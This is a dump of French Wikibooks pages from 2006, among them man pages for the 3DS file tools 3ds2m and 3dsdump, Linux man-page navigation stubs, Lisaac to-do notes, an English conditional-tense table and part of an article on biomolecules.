3ds2m - Convertit les mailles (meshes) d'un fichier 3DS en un m-file (fichier contenant les mailles). == SYNOPSIS == <b>3ds2m</b> [options] nomfichier [options] == DESCRIPTION == <i>3ds2m</i> est un outil pour convertir les mailles d'un fichier 3DS en un m-file. == OPTIONS == 3ds2m accepte les options suivantes : * <b>-h/--help</b> : Aide * <b>-o/--output <nomfichier></b> : Écrit la sortie dans <nomfichier> plutôt que dans la sortie standard stdout * <b>-m/--mesh nom</b> : Écrit seulement la maille précisée * <b>-c/--camera <nom></b> : Écrit seulement la caméra précisée == COPYRIGHT == 3ds2m Copyright © 1996-2001 by J.E. Hoffmann <je-h@gmx.net> </br> Ce programme est un logiciel libre, vous pouvez le redistribuer et/ou le modifier selon les terme de la GNU General Public License comme publiée par la Free Software Foundation ; que ce soit la version 2 de cette license ou n'importe quelle version ultérieure. Ce programme est distribué dans l'espoir qu'il puisse être utile, mais SANS AUCUNE GARANTIE ; sans une seule garantie implicite de VALEUR MARCHANDE ou qu'il puisse CONVENIR POUR UN BESOIN PARTICULIER. Reportez vous à la General Public License pour plus de détails. Vous devriez avoir recu une copie de la GNU General Public License joint avec ce programme ; si ce n'est pas le cas, écrivez à la Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. MANs sous Linux : Les appels-système 8316 42297 2006-05-14T17:11:03Z Overmac 1120 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[MANs sous Linux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small> [[MANs sous Linux|Accueil]]</small> *<small>Chap. 1 - [[MANs_sous_Linux_:_Les_commandes_utilisateur|Les commandes utilisateur]]</small> *<small>Chap. 2 - [[MANs_sous_Linux_:_Les_appels-syst%C3%A8me|Les appels-système]]</small> *<small>Chap. 3 - [[MANs_sous_Linux_:_Les_fonctions_de_biblioth%C3%A8que|Les fonctions de bibliothèque]]</small> *<small>Chap. 4 - [[MANs_sous_Linux_:_Les_fichiers_sp%C3%A9ciaux|Les fichiers spéciaux]]</small> *<small>Chap. 5 - [[MANs_sous_Linux_:_Les_%22formats_de_fichiers%22|Les "formats de fichiers"]]</small> *<small>Chap. 6 - [[MANs_sous_Linux_:_Les_jeux|Les jeux]]</small> *<small>Chap. 7 - [[MANs_sous_Linux_:_Divers|Divers]]</small> *<small>Chap. 8 - [[MANs_sous_Linux_:_Les_commandes_d%27administration_syst%C3%A8me|Les commandes d'administration système]]</small> *<small>Chap. 9 - [[MANs_sous_Linux_:_Les_fonctions_du_noyau_Linux|Les fonctions du noyau Linux]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[MANs sous Linux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Introduction_aux_réseaux&action=edit Modifier ce modèle]</small> |} == Liste == MANs sous Linux : Les fonctions de bibliothèque 8317 42298 2006-05-14T17:11:20Z Overmac 1120 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[MANs sous Linux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small> [[MANs sous Linux|Accueil]]</small> *<small>Chap. 1 - [[MANs_sous_Linux_:_Les_commandes_utilisateur|Les commandes utilisateur]]</small> *<small>Chap. 2 - [[MANs_sous_Linux_:_Les_appels-syst%C3%A8me|Les appels-système]]</small> *<small>Chap. 3 - [[MANs_sous_Linux_:_Les_fonctions_de_biblioth%C3%A8que|Les fonctions de bibliothèque]]</small> *<small>Chap. 4 - [[MANs_sous_Linux_:_Les_fichiers_sp%C3%A9ciaux|Les fichiers spéciaux]]</small> *<small>Chap. 5 - [[MANs_sous_Linux_:_Les_%22formats_de_fichiers%22|Les "formats de fichiers"]]</small> *<small>Chap. 6 - [[MANs_sous_Linux_:_Les_jeux|Les jeux]]</small> *<small>Chap. 7 - [[MANs_sous_Linux_:_Divers|Divers]]</small> *<small>Chap. 8 - [[MANs_sous_Linux_:_Les_commandes_d%27administration_syst%C3%A8me|Les commandes d'administration système]]</small> *<small>Chap. 9 - [[MANs_sous_Linux_:_Les_fonctions_du_noyau_Linux|Les fonctions du noyau Linux]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[MANs sous Linux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Introduction_aux_réseaux&action=edit Modifier ce modèle]</small> |} == Liste == MANs sous Linux : Les fichiers spéciaux 8318 42299 2006-05-14T17:11:35Z Overmac 1120 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[MANs sous Linux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small> [[MANs sous Linux|Accueil]]</small> *<small>Chap. 1 - [[MANs_sous_Linux_:_Les_commandes_utilisateur|Les commandes utilisateur]]</small> *<small>Chap. 2 - [[MANs_sous_Linux_:_Les_appels-syst%C3%A8me|Les appels-système]]</small> *<small>Chap. 3 - [[MANs_sous_Linux_:_Les_fonctions_de_biblioth%C3%A8que|Les fonctions de bibliothèque]]</small> *<small>Chap. 4 - [[MANs_sous_Linux_:_Les_fichiers_sp%C3%A9ciaux|Les fichiers spéciaux]]</small> *<small>Chap. 5 - [[MANs_sous_Linux_:_Les_%22formats_de_fichiers%22|Les "formats de fichiers"]]</small> *<small>Chap. 6 - [[MANs_sous_Linux_:_Les_jeux|Les jeux]]</small> *<small>Chap. 7 - [[MANs_sous_Linux_:_Divers|Divers]]</small> *<small>Chap. 8 - [[MANs_sous_Linux_:_Les_commandes_d%27administration_syst%C3%A8me|Les commandes d'administration système]]</small> *<small>Chap. 9 - [[MANs_sous_Linux_:_Les_fonctions_du_noyau_Linux|Les fonctions du noyau Linux]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[MANs sous Linux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Introduction_aux_réseaux&action=edit Modifier ce modèle]</small> |} == Liste == MANs sous Linux : Les "formats de fichiers" 8319 42300 2006-05-14T17:11:52Z Overmac 1120 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[MANs sous Linux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small> [[MANs sous Linux|Accueil]]</small> *<small>Chap. 1 - [[MANs_sous_Linux_:_Les_commandes_utilisateur|Les commandes utilisateur]]</small> *<small>Chap. 2 - [[MANs_sous_Linux_:_Les_appels-syst%C3%A8me|Les appels-système]]</small> *<small>Chap. 3 - [[MANs_sous_Linux_:_Les_fonctions_de_biblioth%C3%A8que|Les fonctions de bibliothèque]]</small> *<small>Chap. 4 - [[MANs_sous_Linux_:_Les_fichiers_sp%C3%A9ciaux|Les fichiers spéciaux]]</small> *<small>Chap. 5 - [[MANs_sous_Linux_:_Les_%22formats_de_fichiers%22|Les "formats de fichiers"]]</small> *<small>Chap. 6 - [[MANs_sous_Linux_:_Les_jeux|Les jeux]]</small> *<small>Chap. 7 - [[MANs_sous_Linux_:_Divers|Divers]]</small> *<small>Chap. 8 - [[MANs_sous_Linux_:_Les_commandes_d%27administration_syst%C3%A8me|Les commandes d'administration système]]</small> *<small>Chap. 9 - [[MANs_sous_Linux_:_Les_fonctions_du_noyau_Linux|Les fonctions du noyau Linux]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[MANs sous Linux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Introduction_aux_réseaux&action=edit Modifier ce modèle]</small> |} == Liste == MANs sous Linux : Les jeux 8320 42301 2006-05-14T17:12:06Z Overmac 1120 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[MANs sous Linux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small> [[MANs sous Linux|Accueil]]</small> *<small>Chap. 1 - [[MANs_sous_Linux_:_Les_commandes_utilisateur|Les commandes utilisateur]]</small> *<small>Chap. 2 - [[MANs_sous_Linux_:_Les_appels-syst%C3%A8me|Les appels-système]]</small> *<small>Chap. 3 - [[MANs_sous_Linux_:_Les_fonctions_de_biblioth%C3%A8que|Les fonctions de bibliothèque]]</small> *<small>Chap. 4 - [[MANs_sous_Linux_:_Les_fichiers_sp%C3%A9ciaux|Les fichiers spéciaux]]</small> *<small>Chap. 5 - [[MANs_sous_Linux_:_Les_%22formats_de_fichiers%22|Les "formats de fichiers"]]</small> *<small>Chap. 6 - [[MANs_sous_Linux_:_Les_jeux|Les jeux]]</small> *<small>Chap. 7 - [[MANs_sous_Linux_:_Divers|Divers]]</small> *<small>Chap. 8 - [[MANs_sous_Linux_:_Les_commandes_d%27administration_syst%C3%A8me|Les commandes d'administration système]]</small> *<small>Chap. 9 - [[MANs_sous_Linux_:_Les_fonctions_du_noyau_Linux|Les fonctions du noyau Linux]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[MANs sous Linux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Introduction_aux_réseaux&action=edit Modifier ce modèle]</small> |} == Liste == MANs sous Linux : Divers 8321 42302 2006-05-14T17:12:21Z Overmac 1120 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[MANs sous Linux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small> [[MANs sous Linux|Accueil]]</small> *<small>Chap. 1 - [[MANs_sous_Linux_:_Les_commandes_utilisateur|Les commandes utilisateur]]</small> *<small>Chap. 2 - [[MANs_sous_Linux_:_Les_appels-syst%C3%A8me|Les appels-système]]</small> *<small>Chap. 3 - [[MANs_sous_Linux_:_Les_fonctions_de_biblioth%C3%A8que|Les fonctions de bibliothèque]]</small> *<small>Chap. 4 - [[MANs_sous_Linux_:_Les_fichiers_sp%C3%A9ciaux|Les fichiers spéciaux]]</small> *<small>Chap. 5 - [[MANs_sous_Linux_:_Les_%22formats_de_fichiers%22|Les "formats de fichiers"]]</small> *<small>Chap. 6 - [[MANs_sous_Linux_:_Les_jeux|Les jeux]]</small> *<small>Chap. 7 - [[MANs_sous_Linux_:_Divers|Divers]]</small> *<small>Chap. 8 - [[MANs_sous_Linux_:_Les_commandes_d%27administration_syst%C3%A8me|Les commandes d'administration système]]</small> *<small>Chap. 9 - [[MANs_sous_Linux_:_Les_fonctions_du_noyau_Linux|Les fonctions du noyau Linux]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[MANs sous Linux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Introduction_aux_réseaux&action=edit Modifier ce modèle]</small> |} == Liste == MANs sous Linux : Les commandes d'administration système 8322 42303 2006-05-14T17:12:45Z Overmac 1120 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[MANs sous Linux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small> [[MANs sous Linux|Accueil]]</small> *<small>Chap. 1 - [[MANs_sous_Linux_:_Les_commandes_utilisateur|Les commandes utilisateur]]</small> *<small>Chap. 2 - [[MANs_sous_Linux_:_Les_appels-syst%C3%A8me|Les appels-système]]</small> *<small>Chap. 3 - [[MANs_sous_Linux_:_Les_fonctions_de_biblioth%C3%A8que|Les fonctions de bibliothèque]]</small> *<small>Chap. 4 - [[MANs_sous_Linux_:_Les_fichiers_sp%C3%A9ciaux|Les fichiers spéciaux]]</small> *<small>Chap. 5 - [[MANs_sous_Linux_:_Les_%22formats_de_fichiers%22|Les "formats de fichiers"]]</small> *<small>Chap. 6 - [[MANs_sous_Linux_:_Les_jeux|Les jeux]]</small> *<small>Chap. 7 - [[MANs_sous_Linux_:_Divers|Divers]]</small> *<small>Chap. 8 - [[MANs_sous_Linux_:_Les_commandes_d%27administration_syst%C3%A8me|Les commandes d'administration système]]</small> *<small>Chap. 9 - [[MANs_sous_Linux_:_Les_fonctions_du_noyau_Linux|Les fonctions du noyau Linux]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[MANs sous Linux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Introduction_aux_réseaux&action=edit Modifier ce modèle]</small> |} == Liste == MANs sous Linux : Les fonctions du noyau Linux 8323 42304 2006-05-14T17:12:57Z Overmac 1120 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[MANs sous Linux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small> [[MANs sous Linux|Accueil]]</small> *<small>Chap. 1 - [[MANs_sous_Linux_:_Les_commandes_utilisateur|Les commandes utilisateur]]</small> *<small>Chap. 2 - [[MANs_sous_Linux_:_Les_appels-syst%C3%A8me|Les appels-système]]</small> *<small>Chap. 3 - [[MANs_sous_Linux_:_Les_fonctions_de_biblioth%C3%A8que|Les fonctions de bibliothèque]]</small> *<small>Chap. 4 - [[MANs_sous_Linux_:_Les_fichiers_sp%C3%A9ciaux|Les fichiers spéciaux]]</small> *<small>Chap. 5 - [[MANs_sous_Linux_:_Les_%22formats_de_fichiers%22|Les "formats de fichiers"]]</small> *<small>Chap. 6 - [[MANs_sous_Linux_:_Les_jeux|Les jeux]]</small> *<small>Chap. 7 - [[MANs_sous_Linux_:_Divers|Divers]]</small> *<small>Chap. 8 - [[MANs_sous_Linux_:_Les_commandes_d%27administration_syst%C3%A8me|Les commandes d'administration système]]</small> *<small>Chap. 9 - [[MANs_sous_Linux_:_Les_fonctions_du_noyau_Linux|Les fonctions du noyau Linux]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[MANs sous Linux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Introduction_aux_réseaux&action=edit Modifier ce modèle]</small> |} == Liste == 3dsdump 8324 42309 2006-05-14T17:20:43Z Overmac 1120 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[MANs sous Linux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small> [[MANs sous Linux|Accueil]]</small> *<small>Chap. 1 - [[MANs_sous_Linux_:_Les_commandes_utilisateur|Les commandes utilisateur]]</small> *<small>Chap. 2 - [[MANs_sous_Linux_:_Les_appels-syst%C3%A8me|Les appels-système]]</small> *<small>Chap. 3 - [[MANs_sous_Linux_:_Les_fonctions_de_biblioth%C3%A8que|Les fonctions de bibliothèque]]</small> *<small>Chap. 4 - [[MANs_sous_Linux_:_Les_fichiers_sp%C3%A9ciaux|Les fichiers spéciaux]]</small> *<small>Chap. 5 - [[MANs_sous_Linux_:_Les_%22formats_de_fichiers%22|Les "formats de fichiers"]]</small> *<small>Chap. 6 - [[MANs_sous_Linux_:_Les_jeux|Les jeux]]</small> *<small>Chap. 7 - [[MANs_sous_Linux_:_Divers|Divers]]</small> *<small>Chap. 8 - [[MANs_sous_Linux_:_Les_commandes_d%27administration_syst%C3%A8me|Les commandes d'administration système]]</small> *<small>Chap. 9 - [[MANs_sous_Linux_:_Les_fonctions_du_noyau_Linux|Les fonctions du noyau Linux]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[MANs sous Linux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Introduction_aux_réseaux&action=edit Modifier ce modèle]</small> |} == NOM == 3dsdump - Affiche l'information sur la structure interne d'un fichier 3DS. == SYNOPSIS == <b>3dsdump</b> [options] nomfichier [options] == DESCRIPTION == <i>3dsdump</i> est un outil qui est utilisé pour afficher l'information sur la structure interne d'un fichier 3DS. == OPTIONS == 3dsdump accepte les options suivantes : * <b>-h/--help</b> : Aide * <b>-m/--materials</b> : Affiche les matériaux * <b>-t/--trimeshes</b> : Affiche les mailles (meshes) * <b>-i/--instance</b> : Affiche les instances de maille * <b>-c/--cameras</b> : Affiche les caméras * <b>-l/--lights</b> : Affiche les lumières * <b>-n/--nodes</b> : Affiche la hiérarchie des noeuds == COPYRIGHT == 3dsdump Copyright © 1996-2001 by J.E. Hoffmann <je-h@gmx.net> </br> Ce programme est un logiciel libre, vous pouvez le redistribuez et/ou le modifier selon les terme de la GNU General Public License comme publiée par la Free Software Foundation ; que ce soit la version 2 de cette license ou n'importe quelle version ultérieure. Ce programme est distribué dans l'espoir qu'il puisse être utile, mais SANS AUCUNE GARANTIE ; sans une seule garantie implicite de VALEUR MARCHANDE ou qu'il puisse CONVENIR POUR UN BESOIN PARTICULIER. Reportez vous la General Public License pour plus de détails. Vous devriez avoir recu une copie de la GNU General Public License joint avec ce programme ; si ce n'est pas le cas, écrivez à la Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. Lissac/slot paramètres et mots cléfs 8325 42310 2006-05-14T17:22:06Z Ontologia 1529 // Rédaction Lisaac propose de permettre la définition de mots clés dans la définition d'un slot. - nom_du_slot param1 : TYPE1 motcle1 param2 : TYPE2 : TYPE_RENVOYE <- ( /* Corps de la méthode */ ); On l'appel de la façon suivante : result := obj.nom_du_slot var1 motcle1 var2; Image:Screenshot AsusA6va realtek1.jpg 8329 42361 2006-05-15T14:45:52Z Arbalest 1531 Screenshot de la fenetre de configuration realtek Screenshot de la fenetre de configuration realtek Image:AsusA6va realtek2.jpg 8330 42364 2006-05-15T14:57:49Z Arbalest 1531 Screenshot de la fenetre de configuration realtek Screenshot de la fenetre de configuration realtek Image:AsusA6va controlleur de volume.jpg 8331 42365 2006-05-15T15:00:37Z Arbalest 1531 Screenshot du controlleur volume windows Screenshot du controlleur volume windows Image:AsusA6va configuration micro msn.jpg 8332 42366 2006-05-15T15:03:12Z Arbalest 1531 Screenshot configuration audio msn Screenshot configuration audio msn Enseignement de l'arabe 8335 42414 2006-05-15T22:07:18Z Mly 1518 [[Enseignement de l'arabe]] déplacé vers [[Langue arabe]] #REDIRECT [[Langue arabe]] Lisaac/Extended 8337 42432 2006-05-16T00:29:08Z Outs 1307 A FAIRE : *Faire remarque qu'il est inefficace d'utiliser des références pour les types de bases comme les entiers *Introduire la solution les types Extended *Expliquer le fonctionnement pour faire pareil sur ses propres proto *Expliquer le problème de performance que cause la copie en particulier dans le cas des paramètres et que l'utilisation d'Extended n'est pas courante Lisaac/Expression 8338 42426 2006-05-16T00:18:00Z Outs 1307 A FAIRE: *détailler les opérateurs booléens avec la version stricte et celle paresseuse Lisaac/La généricité 8339 42427 2006-05-16T00:18:56Z Outs 1307 A FAIRE: *Introduire la généricitée *Refaire l'exemple avec VECTOR_2 en l'utilisant Lisaac/Conteneurs 8340 42428 2006-05-16T00:21:00Z Outs 1307 A FAIRE: *expliquer proto COLLECTION *le proto pour les tableaux *celui des listes chainées Lisaac/Gestion des erreurs 8341 42429 2006-05-16T00:23:44Z Outs 1307 A FAIRE *Intro général sur le but de la gestion *Insister sur le fait qu'il faut éviter les erreurs et non pas en provoquer pour les gérer par la suite (et surtout pas utiliser les systèmes de gestion d'erreur pour programmer cf Java) *Intro des assertions *Intro des contrats Lisaac/Les points délicats 8342 46628 2006-06-30T15:48:25Z Mildred 1565 A FAIRE: *revenir sur les différentes signification de +/- notament dans la section Header *rappeller les cas les plus courant pour les différents types de slot *revenir sur les différentes combinaison d'héritages *expliquer les utilisation courantes Anglais : Conditionnel 8343 42446 2006-05-16T08:13:08Z Mly 1518 /* Past Conditional : '' Conditionnel Passé'' */ {{ébauche}} == Present Conditional : ''Conditionnel Présent'' == ===Voix Active=== ====Simple==== + : affirmative <br>I/we should ... <br>he/she/it would ... <br>you/they would ... <br>? : interrogative <br>should I/we ... ? <br>would he/she/it ... ? <br>would you/they ... ? <br>- : négative <br>I/we should not ... <br>he/she/it would not ... <br>you/they would not ... <br>?/- : interro-négative <br>should I/we not ... ? <br>would he/she/it not ... ? <br>would you/they not ... ? ====Progressif==== + : affirmative <br>I/we should be ...ing <br>he/she/it would be ...ing <br>you/they would be ...ing <br>? : interrogative <br>should I/we be ...ing ? <br>would he/she/it be ...ing ? <br>would you/they be ...ing ? <br>- : négative <br>I/we should not be ...ing <br>he/she/it would not be ...ing <br>you/they would not be ...ing <br>?/- : interro-négative <br>should I/we not be ...ing ? <br>would he/she/it not be ...ing ? <br>would you/they not be ...ing ? ''(Conditionnel présent de : be)'' === Voix Passive === ====Simple==== + : affirmative <br>I/we should '''be''' ...'''ed''' <br>he/she/it would '''be''' ...'''ed''' <br>you/they would '''be''' ...'''ed''' <br>? : interrogative <br>should I/we '''be''' ...'''ed''' ? <br>would he/she/it '''be''' ...'''ed''' ? <br>would you/they '''be''' ...'''ed''' ? <br>- : négative <br>I/we should not '''be''' ...'''ed''' <br>he/she/it would not '''be''' ...'''ed''' <br>you/they would not '''be''' ...'''ed''' <br>?/- : interro-négative <br>should I/we not '''be''' ...'''ed''' ? <br>would he/she/it not '''be''' ...'''ed''' ? <br>would you/they not '''be''' ...'''ed''' ? ====Progressif==== + : affirmative <br>I/we should '''be''' '''being''' ...'''ed''' <br>he/she/it would '''be''' '''being''' ...'''ed''' <br>you/they would '''be''' '''being''' ...'''ed''' <br>? : interrogative <br>should I/we '''be''' '''being''' ...'''ed''' ? <br>would he/she/it '''be''' '''being''' ...'''ed''' ? <br>would you/they '''be''' '''being''' ...'''ed''' ? <br>- : négative <br>I/we should not '''be''' '''being''' ...'''ed''' <br>he/she/it would not '''be''' '''being''' ...'''ed''' <br>you/they would not '''be''' '''being''' ...'''ed''' <br>?/- : interro-négative <br>should I/we not '''be''' '''being''' ...'''ed''' ? <br>would he/she/it not '''be''' '''being''' ...'''ed''' ? <br>would you/they not '''be''' '''being''' ...'''ed''' ? ==Past Conditional : '' Conditionnel Passé''== ===Voix Active=== ====Simple==== + : affirmative <br>I/we should have ...'''ed''' <br>he/she/it would have ...'''ed''' <br>you/they would have ...'''ed''' <br>? : interrogative <br>should I/we have ...'''ed''' ? <br>would he/she/it have ...'''ed''' ? <br>would you/they have ...'''ed''' ? <br>- : négative <br>I/we should not have ...'''ed''' <br>he/she/it would not have ...'''ed''' <br>you/they would not have ...'''ed''' <br>?/- : interro-négative <br>should I/we not have ...'''ed''' ? <br>would he/she/it not have ...'''ed''' ? <br>would you/they not have ...'''ed''' ? ''(Conditionnel présent de : have)'' ====Progressif==== + : affirmative <br>I/we should have been ...ing <br>he/she/it would have been ...ing <br>you/they would have been ...ing <br>? : interrogative <br>should I/we have been ...ing ? <br>would he/she/it have been ...ing ? <br>would you/they have been ...ing ? <br>- : négative <br>I/we should not have been ...ing <br>he/she/it would not have been ...ing <br>you/they would not have been ...ing <br>?/- : interro-négative <br>should I/we not have been ...ing ? <br>would he/she/it not have been ...ing ? <br>would you/they not have been ...ing ? ''(Conditionnel présent de : be)'' === Voix Passive === ====Simple==== + : affirmative <br>I/we should '''have been''' ...'''ed''' <br>he/she/it would '''have been''' ...'''ed''' <br>you/they would '''have been''' ...'''ed''' <br>? : interrogative <br>should I/we '''have been''' ...'''ed''' ? <br>would he/she/it '''have been''' ...'''ed''' ? <br>would you/they '''have been''' ...'''ed''' ? <br>- : négative <br>I/we should not '''have been''' ...'''ed''' <br>he/she/it would not '''have been''' ...'''ed''' <br>you/they would not '''have been''' ...'''ed''' <br>?/- : interro-négative <br>should I/we not '''have been''' ...'''ed''' ? <br>would he/she/it not '''have been''' ...'''ed''' ? <br>would you/they not '''have been''' ...'''ed''' ? ====Progressif==== + : affirmative <br>I/we should '''have been being''' ...'''ed''' <br>he/she/it would '''have been being''' ...'''ed''' <br>you/they would '''have been being''' ...'''ed''' <br>? : interrogative <br>should I/we '''have been being''' ...'''ed''' ? <br>would he/she/it '''have been being''' ...'''ed''' ? <br>would you/they '''have been being''' ...'''ed''' ? <br>- : négative <br>I/we should not '''have been being''' ...'''ed''' <br>he/she/it would not '''have been being''' ...'''ed''' <br>you/they would not '''have been being''' ...'''ed''' <br>?/- : interro-négative <br>should I/we not '''have been being''' ...'''ed''' ? <br>would he/she/it not '''have been being''' ...'''ed''' ? <br>would you/they not '''have been being''' ...'''ed''' ? Les biomolécules 8344 43478 2006-05-30T09:45:47Z 213.41.1.226 /* Saccharides */ [[Image:Myoglobin.png|thumb|200px|Représentation de la structure 3D de la [[myoglobine]], montrant en couleur l'[[hélice alpha|hélice alpha]]. Cette protéine fut la première dont la structure a été résolue par [[crystallographie au rayon X]] par [[Max Perutz]] et [[John Kendrew|Sir John Cowdery Kendrew]] en [[1958]], pour laquelle ils reçurent le prix Nobel de chimie.]] Une '''biomolécule''' est un [[composé chimique]] qui existe à l'état naturel dans les organismes vivants. Les biomolecules sont constituées essentiellemnt d'atomes de [[carbone]],d'[[hydrogène]], d'[[azote]], d'[[oxygène]], de [[phosphore]] et de [[soufre]]. D'autres éléments sont quelques fois présents mais plus rarement. Les biomolécules sont nécéssaires pour toutes les formes de vie. Par exemple, l'homme poosède de la peau et des cheveux. Le proncipal composé des cheveux est la [[kératine]], un agglomérat de [[protéines]] qui sont elles-mêmes des [[polymers]] construits à partir d'[[acides aminés]]. Les acides aminés sont les plus importants sous-structures moléculaires utilisées dans la nature. D'autres types de sous-structurs sont les [[nucleotides]], chacun d'eux sont composés de trois composés: doit une base[[purine]] ou [[pyrimidine]], un sucre, le [[pentose]], et un groupe [[phosphate]]. Ces nucléotides sont utilisés principalement pour la biosynthèse des [[acides nucléiques]]. Mis à part les biopolymers, de nombreuses petites molécules organiques sont absorbées ou synthétisées par les organismes vivants. Beaucoup de biomolécules peuvent être utiles ou importantes pour l'utilisation en tant que médicament. ==Types de biomolécules== Un grand évantail de biomolécules existent, comprenant: *Petites molécules: **[[Lipides]], [[Phospholipides]], [[Glycolipides]], [[Sterols]] **[[Vitamines]] **[[Hormones]], [[Neurotransmitteurs]] **[[Carbohydrates]], [[Sucres]] **[[Disaccharides]] *[[Monomer]]s: **[[Acides aminés]] **[[Nucleotides]] **[[Phosphatse]] **[[Monosaccharides]] *[[Polymères]]: **[[Peptides]], [[Oligopeptides]], [[Polypeptides]], [[Protéines]] **[[Acides nucléiques]], i.e. [[ADN]], [[ARN]] **[[Oligosaccharides]], [[Polysaccharides]] *[[Macromolecules]]: **[[Prions]] == Nucleosides et nucleotides == '''Nucleosides''' sont des molécules formées par attachement d'une [[nucleobase]] à un cycle [[ribose]. Par exemples [[cytidine]], [[uridine]], [[adenosine]], [[guanosine]], [[thymidine]] and [[inosine]] sont des nucléosides. Les nucleosides peuvent être [[phosphorylation|phosphorylé]] par des [[kinase]] spécifiques dans la céllule, produisant des [[nucléotides]], qui sont les "building blocks" moléculaires de l'ADN (acide deoxyribonucleique) et de l'ARN (acide ribonucleique). == Saccharides == Les [[monosaccharide]] sont des carbohydrates sous la forme de sucre simples. Les [[disaccharides]] dont formés de deux sucres liés ensemble. Les monosaccharides et les 